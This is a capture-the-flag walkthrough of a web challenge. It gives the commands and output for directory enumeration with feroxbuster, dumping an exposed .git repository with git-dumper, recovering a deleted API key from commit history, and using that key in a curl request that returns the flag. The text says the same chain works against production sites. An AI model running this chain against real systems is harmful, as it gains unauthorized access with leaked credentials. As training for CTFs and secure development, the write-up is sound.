At DEF CON CTF 2025, a seemingly simple web challenge stumped hundreds of teams for six hours. The vulnerability was a classic — an exposed /.git directory leaking source code — but most teams never found it because they skipped structured recon and jumped straight to SQLi payloads. This walkthrough builds the methodology that finds those gaps before you waste hours chasing dead ends.
Step 1: Recon Before You Touch Anything
The first five minutes on any CTF web target should be pure observation. You’re mapping the surface before you probe it. Start with feroxbuster — a fast, recursive content discovery tool written in Rust — to enumerate hidden paths.
feroxbuster -u http://192.0.2.47 -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -x php,html,txt,bak -t 50 -o recon_output.txt
___ ___ __ __ __ __
| ||___|| | | | | || |
| || | |_| |__ | || |__
|___||___ |___||_____||__||_____|
200 GET 14l 28w 312c http://192.0.2.47/
200 GET 6l 18w 204c http://192.0.2.47/login.php
301 GET - - - http://192.0.2.47/assets
200 GET 1l 3w 32c http://192.0.2.47/.git/HEAD
403 GET - - - http://192.0.2.47/admin
200 GET 8l 22w 280c http://192.0.2.47/config.bak
Two findings jump out immediately: /.git/HEAD returns a 200, and /config.bak is sitting wide open. A 200 on /.git/HEAD means the git repository metadata is publicly accessible — not just browsable, but downloadable. The config.bak file is almost certainly a forgotten backup containing credentials or database connection strings.
An attacker’s next move is to dump the entire git repo using git-dumper, then read the full commit history. Developers often commit secrets, then delete the file — but the history preserves everything. Grab the backup file with a simple curl http://192.0.2.47/config.bak before anything else, because CTF organizers sometimes pull exposed files mid-challenge once traffic spikes.
Step 2: Extract Source Code and Find the Real Vulnerability
With a live /.git directory confirmed, use git-dumper to reconstruct the repository locally. This tool crawls the git object store and rebuilds the working tree on your machine.
git-dumper http://192.0.2.47/.git/ ./dumped_repo
[-] Testing http://192.0.2.47/.git/HEAD [200]
[-] Testing http://192.0.2.47/.git/ [403]
[-] Fetching common files
[-] Fetching http://192.0.2.47/.git/COMMIT_EDITMSG [200]
[-] Fetching http://192.0.2.47/.git/config [200]
[-] Running git checkout .
$ cd dumped_repo && git log --oneline
a3f92c1 fix: remove hardcoded API key from auth.php
88d4e07 add admin panel with JWT verification
3c1b990 initial commit
$ git show a3f92c1
-define('ADMIN_API_KEY', 'sk_live_4xT9mKqR2nVwJpL8');
+// key moved to environment variable
The commit message says the API key was removed. The diff shows it was only removed — it still exists in the previous commit 88d4e07. This is the single most common developer mistake in CTF web challenges and real-world breaches: removing secrets from the latest commit does nothing if the repo history is exposed. The API key sk_live_4xT9mKqR2nVwJpL8 is now yours.
At this point, read every PHP file in the dumped repo. Look at auth.php to understand how the API key is used — is it a header, a query parameter, a cookie? Then check 88d4e07‘s version of the admin panel code to understand what the endpoint actually does. Source code review takes ten minutes and replaces hours of blind fuzzing.
Step 3: Chain Findings Into a Flag
Reading admin.php from the dumped repo reveals the admin panel at /admin/dashboard.php expects an X-API-Key header. The 403 you saw during feroxbuster recon was a missing-key block, not a WAF. One curl command closes the loop.
curl -s http://192.0.2.47/admin/dashboard.php \
-H "X-API-Key: sk_live_4xT9mKqR2nVwJpL8"
<!DOCTYPE html>
<html>
<title>Admin Panel</title>
<body>
<h1>Welcome, ctfadmin</h1>
<p>Flag: CTF{g1t_h1st0ry_n3v3r_l13s}</p>
</body>
</html>
The full chain: feroxbuster found the exposed git directory, git-dumper reconstructed the source, git log exposed a deleted credential, source review revealed the endpoint, and one authenticated request returned the flag. No SQLi, no XSS, no brute force. Just methodology.
This same chain — exposed repo, deleted secret, privileged endpoint — appeared in a 2024 HackerOne report where a bug bounty hunter earned $8,500 on a fintech target. The technique is identical whether it’s a CTF or production infrastructure.
What To Do Now
Spin up a local instance of DVWA or grab a retired HTB web machine, then run feroxbuster against it right now using the raft-medium-directories wordlist. Don’t look at hints. Time yourself from first command to first finding. That disciplined recon habit — run it every time, in order, before touching anything else — is what separates teams that place from teams that don’t.
